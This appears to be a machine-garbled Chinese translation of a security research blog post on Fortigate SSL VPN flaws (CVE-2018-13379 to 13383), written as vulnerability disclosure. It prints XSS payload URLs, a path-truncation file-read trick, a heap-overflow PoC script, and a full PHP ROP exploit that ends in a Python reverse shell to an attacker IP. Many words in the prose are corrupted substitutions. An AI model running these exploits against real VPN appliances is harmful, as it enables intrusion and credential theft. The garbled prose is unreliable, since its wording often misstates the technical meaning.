上个月,我们谈到了Palo Alto Networks GlobalProtect RCE[2]作为开胃菜。
本日,主菜到了!
如果您不能前往Black Hat或DEFCON听我们的演讲,或者您对更多详细信息感兴趣,可以看这个PPT:

•Infiltrating Corporate Intranet Like NSA: Pre-auth RCE on Leading SSL VPNs[3]

我们还将在以下会议上揭橥演讲,欢迎去听我们的演讲!

phpvpn服务器进击SSL VPN二 Bootstrap

•HITCON[4] - Aug. 23 @ Taipei (Chinese)

•HITB GSEC[5] - Aug. 29,30 @ Singapore•RomHack[6] - Sep. 28 @ Rome

•and more …

开始

故事始于去年八月,当时我们启动了有关SSL VPN的新研究项目。
与IPSEC和PPTP等站点到站点VPN比较,SSL VPN更易于利用并且与任何网络环境兼容。
为了方便起见,SSL VPN成为企业最受欢迎的远程访问办法!

但是,如果此受信赖的设备不屈安怎么办?它是主要的公司资产,但却是公司的盲点。
根据我们对《财富》 500强公司的调查,排名前三的SSL VPN供应商主导着约75%的市场份额。
SSL VPN的多样性很窄。
因此,一旦我们创造了领先的SSL VPN上的关键漏洞,其影响将是巨大的。
无法阻挡我们,由于SSL VPN必须暴露于Internet。

在研究开始时,我们对领先的SSL VPN供应商的CVE数量进行了一些调查:

彷佛Fortinet和Pulse Secure是最安全的。
真的吗?作为一个神话毁坏者,我们接管了这一寻衅,并开始入侵Fortinet和Pulse Secure!
这个故事是关于黑客利用Fortigate SSL VPN。
下一篇文章将是关于Pulse Secure的,这是最出色的文章!
敬请关注

Fortigate SSL VPN

Fortinet 称其SSL VPN产品线为Fortigate SSL VPN,这在终极用户和中型企业中很普遍。
互联网上运行着超过48万台做事器,在亚洲和欧洲很常见。
我们可以从URL /remote/login识别它。
这是Fortigate的技能功能:

•多合一二进制

我们从文件系统开始研究。
我们试图在/bin/中列出二进制文件,创造所有符号链接都指向/bin/init。
像这样:

Fortigate将所有程序和配置编译到一个二进制文件中,这使init确实非常弘大。
它包含数千个功能,并且没有符号!
它仅包含用于SSL VPN的必要程序,因此对付黑客来说,环境确实很未便利。
例如,乃至没有/bin/ls或/bin/cat!

•Web守护程序

Fortigate上运行2个Web界面。
一种是用于管理界面,在端口443上通过/bin/httpsd处理。
另一种是普通用户界面,默认情形下在端口4433上通过/bin/sslvpnd处理。
常日,管理员页面应该是网上访问受限的,因此我们只能访问用户界面。

通过我们的调查,我们创造Web做事器是从apache修正而来的,但它是2002年以来的apache。
显然,他们在2002年修正了apache并添加了自己的附加功能。
我们可以对应的apache的源代码以加快剖析速率。

在这两个Web做事中,他们还将自己的apache模块编译成二进制文件以处理每个URL路径。
我们可以找到一个表,指定处理程序并对其进行挖掘!

•WebVPN

WebVPN是一项便捷的代理功能,它使我们能够通过浏览器大略地连接到所有做事。
它支持许多协议,例如HTTP,FTP,RDP。
它还可以处理各种Web资源,例如WebSocket和Flash。
为了精确处理网站,它会解析HTML并为我们重写所有URL。
这涉及繁重的字符串操作,这随意马虎导致内存缺点

漏洞

我们已经创造的漏洞:

CVE-2018-13379[7]: 预认证任意文件读取

在获取相应的措辞文件时,它会利用参数lang构建json文件路径:

snprintf(s, 0x40, "/migadmin/lang/%s.json", lang);

没有保护,但是文件扩展名会自动添加。
看来我们只能读取json文件。
但是,实际上我们可以用snprintf的功能。
根据手书页,它最多将size-1写入输出字符串。
因此,我们只须要使其超过缓冲区大小,就会删除.json。
然后,我们可以读取所需的任何内容

CVE-2018-13380[8]: 预验证XSS

有几处XSS:

/remote/error?errmsg=ABABAB--%3E%3Cscript%3Ealert(1)%3C/script%3E

/remote/loginredir?redir=6a6176617363726970743a616c65727428646f63756d656e742e646f6d61696e29

/message?title=x&msg=%26%23<svg/onload=alert(1)>;CVE-2018-13381[9]: 预验证堆溢出

对HTML实体代码进行编码时,有两个阶段。
做事器首先打算编码字符串所需的缓冲区长度。
然后将其编码到缓冲区中。
例如,在打算阶段,< 为 < 的编码字符串,应占用5个字节。
如果碰着以 &# 开头的任何内容(例如<),则认为已经有一个令牌已编码,并直接打算其长度。
像这样:

c = token[idx];if (c == '(' || c == ')' || c == '#' || c == '<' || c == '>') cnt += 5;else if(c == '&' && html[idx+1] == '#') cnt += len(strchr(html[idx], ';')-idx);

但是,长度打算和编码过程之间存在不一致。
编码部分处理的不是很多。

switch (c){ case '<': memcpy(buf[counter], "<", 5); counter += 4; break; case '>': // ... default: buf[counter] = c; break; counter++;}

如果我们输入&#<<<;, 这样的恶意字符串,则<仍会编码为 <,因此结果应为&#<<<; 这比预期的长度6个字节长得多,因此导致堆溢出。

PoC:

import requestsdata = { 'title': 'x', 'msg': '&#' + '<'(0x20000) + ';<',}r = requests.post('https://sslvpn:4433/message', data=data)CVE-2018-13382[10]:Magic 后门

在登录页面中,我们找到了一个名为 magic 的分外参数。
参数符合硬编码字符串后,我们可以修正任何用户的密码。

根据我们的调查,仍旧有很多Fortigate SSL VPN短缺补丁。
因此,考虑到它的严重性,我们将不会公开魔术字符串。
但是,此漏洞已由CodeWhite的研究职员报告[11]。
可以肯定的是,其他攻击者将很快利用此漏洞!
请尽快更新您的Fortigate!

CVE-2018-13383[12]:验证后堆溢出

这是WebVPN功能上的漏洞。
在解析HTML中的JavaScript时,它考试测验利用以下代码将内容复制到缓冲区中:

memcpy(buffer, js_buf, js_buf_len);

缓冲区大小固定为 0x2000 ,但输入字符串不受限定。
因此,这是堆溢出。
值得把稳的是,此漏洞可能会溢出Null字节,这对付我们的利用非常有用。

要触发此溢出,我们须要将漏洞利用程序放到HTTP做事器上,然后哀求SSL VPN以普通用户的身份代理我们的漏洞利用程序。

利用程序

官方通报起初没有描述RCE风险。
实际上,这是一个误解。
我们将向您展示如何通过用户登录界面进行未经身份验证的攻击。

CVE-2018-13381

我们的第一个考试测验是利用预身份验证堆溢出。
但是,此漏洞有一个根本毛病–它不会溢出Null字节。
常日,这不是一个严重的问题。
当今的堆利用技能该当战胜这一点。
但是,我们创造在Fortigate上堆风水是一场灾害。
有几个障碍,使堆不稳定且难以掌握。

•单线程,单进程,单分配器Web守护程序利用 epoll() 处理多个连接,没有多进程或多线程,并且主进程和库利用同一个堆,称为JeMalloc。
这意味着,所有连接的所有操作的所有内存分配都在同一堆上。
因此,堆真的很乱。

•定期触发操作这会滋扰堆,但无法掌握。
我们不能仔细安排堆,由于它将被毁坏。

•Apache的附加内存管理直到连接结束,内存才会变为 free()。
我们不能将堆安排在单个连接中。
实际上,这可以有效缓解堆漏洞,尤其是对付“UAF"漏洞。

•JeMallocJeMalloc隔离元数据和用户数据,因此很难修正元数据并进行堆管理。
此外,它集中了小工具,这也限定了我们的利用。

我们被困在这里,然后我们选择考试测验另一种办法。
如果有人成功利用了这一点,请教我们!

CVE-2018-13379 + CVE-2018-13383

这是预认证文件读取和后认证堆溢出的组合。
一种用于得到身份验证,另一种用于获取shell

•得到认证

我们首先利用CVE-2018-13379泄露会话文件。
会话文件包含有代价的信息,例如用户名和纯文本密码,这些信息使我们可以轻松登录。

•获取Shell

登录后,我们可以哀求SSL VPN代理恶意HTTP做事器上的漏洞利用,然后触发堆溢出。
由于上述问题,我们须要一个不错的目标来溢出。
我们无法仔细掌握堆,但是大概我们可以定期创造一些东西!
如果到处都是它,那就太好了,每当我们触发该缺点时,我们都可以很随意马虎地溢出它!
但是,从这个弘大的程序中找到这样的目标是一项艰巨的事情,因此我们当时陷入了困境……我们开始对做事器进行模糊测试,试图得到有用的东西。
我们碰着了一个有趣的崩溃。
令我们惊异的是,我们险些掌握了程序计数器!

Program received signal SIGSEGV, Segmentation fault. 0x00007fb908d12a77 in SSL_do_handshake () from /fortidev4-x86_64/lib/libssl.so.1.1 2: /x $rax = 0x41414141 1: x/i $pc => 0x7fb908d12a77 <SSL_do_handshake+23>: callq 0x60(%rax) (gdb)

崩溃发生在SSL_do_handshake()中

int SSL_do_handshake(SSL s) { // ... s->method->ssl_renegotiate_check(s, 0); if (SSL_in_init(s) || SSL_in_before(s)) { if ((s->mode & SSL_MODE_ASYNC) && ASYNC_get_current_job() == NULL) { struct ssl_async_args args; args.s = s; ret = ssl_start_async_job(s, &args, ssl_do_handshake_intern); } else { ret = s->handshake_func(s); } } return ret; }

我们重写了struct SSL[13]中被调用的方法[14]的功能表,因此当程序考试测验实行s->method->ssl_renegotiate_check(s, 0); 时,它崩溃了。

这实际上是我们利用的空想目标!
可以很随意马虎地触发 struct SSL 的分配,并且其大小刚好靠近我们的JaveScript缓冲区,因此它可以在我们的缓冲区附近且具有常规偏移量!
根据代码,我们可以看到 ret = s->handshake_func(s); 调用函数指针,这是掌握程序流程的空想选择。
有了这个创造,我们的利用策略就很清楚了。

我们首先向带有大量正常要求的SSL构造的堆喷射,然后溢出SSL构造。

在这里,我们将php PoC放在HTTP做事器上:

<?php function p64($address) { $low = $address & 0xffffffff; $high = $address >> 32 & 0xffffffff; return pack("II", $low, $high); } $junk = 0x4141414141414141; $nop_func = 0x32FC078; $gadget = p64($junk); $gadget .= p64($nop_func - 0x60); $gadget .= p64($junk); $gadget .= p64(0x110FA1A); // # start here # pop r13 ; pop r14 ; pop rbp ; ret ; $gadget .= p64($junk); $gadget .= p64($junk); $gadget .= p64(0x110fa15); // push rbx ; or byte [rbx+0x41], bl ; pop rsp ; pop r13 ; pop r14 ; pop rbp ; ret ; $gadget .= p64(0x1bed1f6); // pop rax ; ret ; $gadget .= p64(0x58); $gadget .= p64(0x04410f6); // add rdi, rax ; mov eax, dword [rdi] ; ret ; $gadget .= p64(0x1366639); // call system ; $gadget .= "python -c 'import socket,sys,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((sys.argv[1],12345));[os.dup2(s.fileno(),x) for x in range(3)];os.system(sys.argv[2]);' xx.xxx.xx.xx /bin/sh;"; $p = str_repeat('AAAAAAAA', 1024+512-4); // offset $p .= $gadget; $p .= str_repeat('A', 0x1000 - strlen($gadget)); $p .= $gadget; ?> <a href="javascript:void(0);<?=$p;?>">xxx</a>

PoC可以分为三个部分。

1、假造SSL构造

SSL构造对我们的缓冲区有规则的偏移量,因此我们可以精确地假造它。
为了避免崩溃,我们将方法设置为包含void函数指针的位置。
此时的参数是SSL构造本身。
但是,方法之前只有8个字节。
我们不能大略地调用system(“ / bin / sh”);在HTTP做事器上,因此这对付我们的反向shell命令是不足的。
由于具有巨大的二进制文件,因此很随意马虎找到ROP小工具。
我们创造了一个有用的堆栈枢纽:

push rbx ; or byte [rbx+0x41], bl ; pop rsp ; pop r13 ; pop r14 ; pop rbp ; ret ;

因此,我们将handshake_func设置为此小工具,将rsp移至我们的SSL构造,然后进行进一步的ROP攻击。

2、ROP链

这里的ROP链很大略。
我们轻微向前移动rdi,以便有足够的空间用于我们的反向shell命令

3、溢出字符串

末了,我们串联了溢出添补和漏洞利用。
一旦溢出SSL构造,我们将得到一个shell。

我们的利用须要多次考试测验,由于我们可能会溢出一些主要的信息,并使程序在SSL_do_handshake之前崩溃。
无论如何,得益于可靠的Fortigate监视程序,漏洞利用仍旧很稳定。
只需1到2分钟即可得到反向外壳。

这篇文章关于怎么编写漏洞利用程序部分,我没看懂,我不太熟习那部分内容,等后续我熟习了,我会把里面的关键点在写一篇文章。

References

[1] Attacking SSL VPN - Part 2: Breaking the Fortigate SSL VPN: https://blog.orange.tw/2019/08/attacking-ssl-vpn-part-2-breaking-the-fortigate-ssl-vpn.html

[2] Palo Alto Networks GlobalProtect RCE: https://devco.re/blog/2019/07/17/attacking-ssl-vpn-part-1-PreAuth-RCE-on-Palo-Alto-GlobalProtect-with-Uber-as-case-study/

[3] Infiltrating Corporate Intranet Like NSA: Pre-auth RCE on Leading SSL VPNs: https://i.blackhat.com/USA-19/Wednesday/us-19-Tsai-Infiltrating-Corporate-Intranet-Like-NSA.pdf

[4] HITCON: https://hitcon.org/2019/CMT/agenda

[5] HITB GSEC: https://gsec.hitb.org/sg2019/agenda/

[6] RomHack: https://www.romhack.io/program_en-2019.html

[7] CVE-2018-13379: https://fortiguard.com/psirt/FG-IR-18-384

[8] CVE-2018-13380: https://fortiguard.com/psirt/FG-IR-18-383

[9] CVE-2018-13381: https://fortiguard.com/psirt/FG-IR-18-387

[10] CVE-2018-13382: https://fortiguard.com/psirt/FG-IR-18-389

[11] CodeWhite的研究职员报告: https://twitter.com/codewhitesec/status/1145967317672714240

[12] CVE-2018-13383: https://fortiguard.com/psirt/FG-IR-18-388

[13] struct SSL: https://github.com/openssl/openssl/blob/master/ssl/ssl_locl.h#L1080

[14] 方法: https://github.com/openssl/openssl/blob/master/ssl/ssl_locl.h#L1087